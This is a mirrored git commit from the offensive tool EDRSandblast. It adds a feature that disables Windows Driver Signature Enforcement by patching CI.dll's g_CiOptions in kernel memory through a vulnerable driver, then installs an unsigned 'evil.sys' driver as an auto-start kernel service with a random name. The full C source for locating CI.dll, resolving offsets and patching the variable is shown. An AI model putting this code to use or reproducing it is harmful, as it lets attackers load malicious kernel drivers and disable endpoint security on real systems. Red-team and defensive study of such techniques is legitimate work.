mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-13 02:41:17 +00:00
Add feature : loading unsigned driver
This commit is contained in:
@@ -8,6 +8,7 @@ typedef enum _START_MODE {
|
||||
credguard,
|
||||
audit,
|
||||
firewall,
|
||||
load,
|
||||
none
|
||||
} START_MODE;
|
||||
|
||||
|
||||
@@ -167,10 +167,12 @@
|
||||
<ClCompile Include="Drivers\DriverRTCore.c" />
|
||||
<ClCompile Include="KernellandBypass\ETWThreatIntel.c" />
|
||||
<ClCompile Include="KernellandBypass\KernelCallbacks.c" />
|
||||
<ClCompile Include="KernellandBypass\KernelDSE.c" />
|
||||
<ClCompile Include="KernellandBypass\KernelUtils.c" />
|
||||
<ClCompile Include="KernellandBypass\ObjectCallbacks.c" />
|
||||
<ClCompile Include="UserlandBypass\Syscalls.c" />
|
||||
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c" />
|
||||
<ClCompile Include="Utils\CiOffsets.c" />
|
||||
<ClCompile Include="Utils\FileUtils.c" />
|
||||
<ClCompile Include="Utils\HttpClient.c" />
|
||||
<ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
|
||||
@@ -200,10 +202,12 @@
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="EDRSandblast.h" />
|
||||
<ClInclude Include="Includes\CiOffsets.h" />
|
||||
<ClInclude Include="Includes\CredGuard.h" />
|
||||
<ClInclude Include="Includes\DriverDBUtil.h" />
|
||||
<ClInclude Include="Includes\DriverGDRV.h" />
|
||||
<ClInclude Include="Includes\DriverRTCore.h" />
|
||||
<ClInclude Include="Includes\KernelDSE.h" />
|
||||
<ClInclude Include="Includes\ProcessDumpDirectSyscalls.h" />
|
||||
<ClInclude Include="Includes\FileUtils.h" />
|
||||
<ClInclude Include="Includes\HttpClient.h" />
|
||||
|
||||
@@ -117,9 +117,15 @@
|
||||
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\CiOffsets.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Drivers\DriverGDRV.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="KernellandBypass\KernelDSE.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Includes\CredGuard.h">
|
||||
@@ -233,6 +239,12 @@
|
||||
<ClInclude Include="EDRSandblast.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\CiOffsets.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\KernelDSE.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\DriverGDRV.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
/*
|
||||
|
||||
--- Functions to bypass Digital Signature Enforcement by disabling DSE through patching of the g_CiOptions attributes in memory.
|
||||
--- Full source and credit to https://j00ru.vexillium.org/2010/06/insight-into-the-driver-signature-enforcement/
|
||||
--- Code adapted from: https://github.com/kkent030315/gdrv-loader/tree/1909_mitigation
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
|
||||
enum CiOffsetType {
|
||||
g_CiOptions = 0,
|
||||
_SUPPORTED_CI_OFFSETS_END
|
||||
};
|
||||
|
||||
union CiOffsets {
|
||||
// structure version of Ci.dll's offsets
|
||||
struct {
|
||||
// Ci.dll's g_CiOptions
|
||||
DWORD64 g_CiOptions;
|
||||
} st;
|
||||
|
||||
// array version (usefull for code factoring)
|
||||
DWORD64 ar[1];
|
||||
};
|
||||
|
||||
union CiOffsets g_ciOffsets;
|
||||
|
||||
// Return the offsets of CI!g_CiOptions for the specific Windows version in use.
|
||||
void LoadCiOffsetsFromFile(TCHAR* CiOffsetFilename);
|
||||
void SaveCiOffsetsToFile(TCHAR* CiOffsetFilename);
|
||||
void LoadCiOffsetsFromInternet(BOOL delete_pdb);
|
||||
LPTSTR GetCiVersion();
|
||||
LPTSTR GetCiPath();
|
||||
@@ -23,3 +23,8 @@ BOOL InstallVulnerableDriver(TCHAR* driverPath);
|
||||
|
||||
BOOL UninstallVulnerableDriver(void);
|
||||
BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName);
|
||||
// evil driver install
|
||||
TCHAR* GetEvilDriverServiceName(void);
|
||||
void SetEvilDriverServiceName(_In_z_ TCHAR* newName);
|
||||
BOOL InstallEvilDriver(TCHAR* driverPath);
|
||||
BOOL UninstallEvilDriver(void);
|
||||
@@ -94,3 +94,6 @@ void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL
|
||||
BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
|
||||
void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
|
||||
|
||||
// Helps at locating some DLL in the kernel, for example CI.dll
|
||||
DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt);
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
#pragma once
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
#define DEFAULT_EVIL_DRIVER_FILE TEXT("evil.sys")
|
||||
|
||||
#if !defined(PRINT_ERROR_AUTO)
|
||||
#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
|
||||
#endif
|
||||
|
||||
BOOLEAN IsCiEnabled();
|
||||
DWORD64 FindCIBaseAddress(BOOL verbose);
|
||||
BOOL patch_gCiOptions(PVOID CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue);
|
||||
@@ -5,3 +5,4 @@ DWORD64 FindNtoskrnlBaseAddress(void);
|
||||
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);
|
||||
TCHAR* FindDriverPath(DWORD64 address);
|
||||
DWORD64 GetKernelFunctionAddress(LPCSTR function);
|
||||
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);
|
||||
@@ -137,4 +137,4 @@ void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
||||
|
||||
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
||||
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
#include "windows.h"
|
||||
#include "KernelDSE.h"
|
||||
#include "../EDRSandblast.h"
|
||||
#include "winternl.h"
|
||||
#include "stdio.h" // for printf
|
||||
//#include "ntstatus.h"
|
||||
#include "KernelCallbacks.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "KernelUtils.h"
|
||||
#include "tchar.h"
|
||||
|
||||
#define nullptr ((void*)0)
|
||||
|
||||
BOOLEAN IsCiEnabled()
|
||||
{
|
||||
SYSTEM_CODEINTEGRITY_INFORMATION CiInfo = { sizeof(SYSTEM_CODEINTEGRITY_INFORMATION) };
|
||||
const NTSTATUS Status = NtQuerySystemInformation(SystemCodeIntegrityInformation,
|
||||
&CiInfo,
|
||||
sizeof(CiInfo),
|
||||
nullptr);
|
||||
if (!NT_SUCCESS(Status))
|
||||
printf("[-] Failed to query code integrity status: %08X\n", Status);
|
||||
|
||||
return (CiInfo.CodeIntegrityOptions &
|
||||
(CODEINTEGRITY_OPTION_ENABLED | CODEINTEGRITY_OPTION_TESTSIGN)) == CODEINTEGRITY_OPTION_ENABLED;
|
||||
}
|
||||
|
||||
DWORD64 FindCIBaseAddress(BOOL verbose) {
|
||||
DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(CREATE_PROCESS_ROUTINE);
|
||||
SIZE_T CurrentEDRCallbacksCount = 0;
|
||||
DWORD64 CiBaseAddress = 0;
|
||||
DWORD64 driverOffset = 0;
|
||||
DWORD64 callback = 0;
|
||||
DWORD64 cbFunction = 0;
|
||||
TCHAR* driver = NULL;
|
||||
DWORD64 callback_struct = 0;
|
||||
for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) {
|
||||
DWORD64 callback_struct = ReadMemoryDWORD64(NotifyRoutineAddress + (i * sizeof(DWORD64)));
|
||||
if (callback_struct != 0) {
|
||||
callback = (callback_struct & ~0b1111) + 8; //TODO : replace this hardcoded offset ?
|
||||
cbFunction = ReadMemoryDWORD64(callback);
|
||||
driver = FindDriverName(cbFunction, &driverOffset);
|
||||
if (_tcscmp(driver, L"CI.dll") == 0) {
|
||||
CiBaseAddress = cbFunction - driverOffset;
|
||||
if (verbose)
|
||||
printf("[+] %s FOUND at %016llx - 0x%llx : 0x%llx\n", driver, cbFunction, driverOffset, CiBaseAddress);
|
||||
return CiBaseAddress;
|
||||
}
|
||||
}
|
||||
}
|
||||
return CiBaseAddress;
|
||||
}
|
||||
|
||||
BOOL patch_gCiOptions(PVOID CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue) {
|
||||
*OldCiOptionsValue = ReadMemoryDWORD64(CiVariableAddress);
|
||||
//printf("[+KERNELDSE] The value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, *OldCiOptionsValue);
|
||||
WriteMemoryDWORD64(CiVariableAddress, CiOptionsValue);
|
||||
//printf("[+KERNELDSE] New value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, ReadMemoryDWORD64(CiVariableAddress));
|
||||
return TRUE;
|
||||
}
|
||||
@@ -105,4 +105,4 @@ DWORD64 GetKernelFunctionAddress(LPCSTR function) {
|
||||
}
|
||||
// _tprintf_or_not(TEXT("[+] %s address: 0x%I64x\n"), function, address);
|
||||
return address;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,107 @@
|
||||
/*
|
||||
|
||||
--- Functions to bypass Digital Signature Enforcement by disabling DSE through patching of the g_CiOptions attributes in memory.
|
||||
--- Full source and credit to https://j00ru.vexillium.org/2010/06/insight-into-the-driver-signature-enforcement/
|
||||
--- Code adapted from: https://github.com/kkent030315/gdrv-loader/tree/1909_mitigation
|
||||
|
||||
*/
|
||||
|
||||
#include <tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "FileVersion.h"
|
||||
#include "PdbSymbols.h"
|
||||
|
||||
#include "CiOffsets.h"
|
||||
|
||||
union CiOffsets g_ciOffsets = { 0 };
|
||||
|
||||
// Return the offsets of CI!g_CiOptions for the specific Windows version in use.
|
||||
void LoadCiOffsetsFromFile(TCHAR* ciOffsetFilename) {
|
||||
LPTSTR ciVersion = GetCiVersion();
|
||||
_tprintf_or_not(TEXT("[*] System's ci.dll file version is: %s\n"), ciVersion);
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, ciOffsetFilename, TEXT("r"));
|
||||
|
||||
if (offsetFileStream == NULL) {
|
||||
_putts_or_not(TEXT("[!] Ci offsets CSV file not found / invalid. A valid offset file must be specifed!"));
|
||||
return;
|
||||
}
|
||||
|
||||
TCHAR lineCiVersion[256];
|
||||
TCHAR line[2048];
|
||||
while (_fgetts(line, _countof(line), offsetFileStream)) {
|
||||
TCHAR* dupline = _tcsdup(line);
|
||||
TCHAR* tmpBuffer = NULL;
|
||||
_tcscpy_s(lineCiVersion, _countof(lineCiVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
|
||||
if (_tcscmp(ciVersion, lineCiVersion) == 0) {
|
||||
TCHAR* endptr;
|
||||
_tprintf_or_not(TEXT("[+] Offsets are available for this version of ci.dll (%s)!"), ciVersion);
|
||||
for (int i = 0; i < _SUPPORTED_CI_OFFSETS_END; i++) {
|
||||
g_ciOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(offsetFileStream);
|
||||
}
|
||||
|
||||
void SaveCiOffsetsToFile(TCHAR* ciOffsetFilename) {
|
||||
LPTSTR ciVersion = GetCiVersion();
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, ciOffsetFilename, TEXT("a"));
|
||||
|
||||
if (offsetFileStream == NULL) {
|
||||
_putts_or_not(TEXT("[!] CI offsets CSV file cannot be opened"));
|
||||
return;
|
||||
}
|
||||
|
||||
_ftprintf(offsetFileStream, TEXT("%s"), ciVersion);
|
||||
for (int i = 0; i < _SUPPORTED_CI_OFFSETS_END; i++) {
|
||||
_ftprintf(offsetFileStream, TEXT(",%llx"), g_ciOffsets.ar[i]);
|
||||
}
|
||||
_fputts(TEXT(""), offsetFileStream);
|
||||
|
||||
fclose(offsetFileStream);
|
||||
}
|
||||
|
||||
|
||||
void LoadCiOffsetsFromInternet(BOOL delete_pdb) {
|
||||
LPTSTR ciPath = GetCiPath();
|
||||
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(ciPath);
|
||||
if (sym_ctx == NULL) {
|
||||
return;
|
||||
}
|
||||
g_ciOffsets.st.g_CiOptions = GetSymbolOffset(sym_ctx, "g_CiOptions");
|
||||
UnloadSymbols(sym_ctx, delete_pdb);
|
||||
}
|
||||
|
||||
TCHAR g_ciPath[MAX_PATH] = { 0 };
|
||||
LPTSTR GetCiPath() {
|
||||
if (_tcslen(g_ciPath) == 0) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute ci.dll path.
|
||||
_tcscat_s(g_ciPath, _countof(g_ciPath), systemDirectory);
|
||||
_tcscat_s(g_ciPath, _countof(g_ciPath), TEXT("\\ci.dll"));
|
||||
}
|
||||
return g_ciPath;
|
||||
}
|
||||
|
||||
TCHAR g_ciVersion[256] = { 0 };
|
||||
LPTSTR GetCiVersion() {
|
||||
if (_tcslen(g_ciVersion) == 0) {
|
||||
LPTSTR ciPath = GetCiPath();
|
||||
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), ciPath);
|
||||
|
||||
_stprintf_s(g_ciVersion, 256, TEXT("ci_%s.dll"), versionBuffer);
|
||||
}
|
||||
return g_ciVersion;
|
||||
}
|
||||
@@ -115,3 +115,55 @@ BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName) {
|
||||
}
|
||||
return isRunning;
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
--- Evil driver install / uninstall functions.
|
||||
|
||||
*/
|
||||
|
||||
TCHAR* g_evilDriverServiceName;
|
||||
|
||||
TCHAR* GetEvilDriverServiceName(void) {
|
||||
if (!g_evilDriverServiceName || _tcslen(g_evilDriverServiceName) == 0) {
|
||||
g_evilDriverServiceName = allocAndGenerateRandomString(SERVICE_NAME_LENGTH);
|
||||
}
|
||||
return g_evilDriverServiceName;
|
||||
}
|
||||
|
||||
void SetEvilDriverServiceName(_In_z_ TCHAR* newName) {
|
||||
if (g_evilDriverServiceName) {
|
||||
free(g_evilDriverServiceName);
|
||||
}
|
||||
g_evilDriverServiceName = _tcsdup(newName);
|
||||
|
||||
if (!g_evilDriverServiceName) {
|
||||
_putts_or_not(TEXT("[!] Error while attempting to set the service name."));
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL InstallEvilDriver(TCHAR* driverPath) {
|
||||
TCHAR* svcName = GetEvilDriverServiceName();
|
||||
|
||||
DWORD status = ServiceInstall(svcName, svcName, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);
|
||||
|
||||
if (status == 0x00000005) {
|
||||
_putts_or_not(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?"));
|
||||
}
|
||||
_tprintf_or_not(TEXT("[!] The evil service should be manually deleted when you are done with it : \ncmd /c sc stop %s\ncmd /c sc delete %s\n"), GetEvilDriverServiceName());
|
||||
|
||||
return status == 0x0;
|
||||
}
|
||||
|
||||
BOOL UninstallEvilDriver(void) {
|
||||
TCHAR* svcName = GetEvilDriverServiceName();
|
||||
|
||||
BOOL status = ServiceUninstall(svcName, 0);
|
||||
|
||||
if (!status) {
|
||||
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
Reference in New Issue
Block a user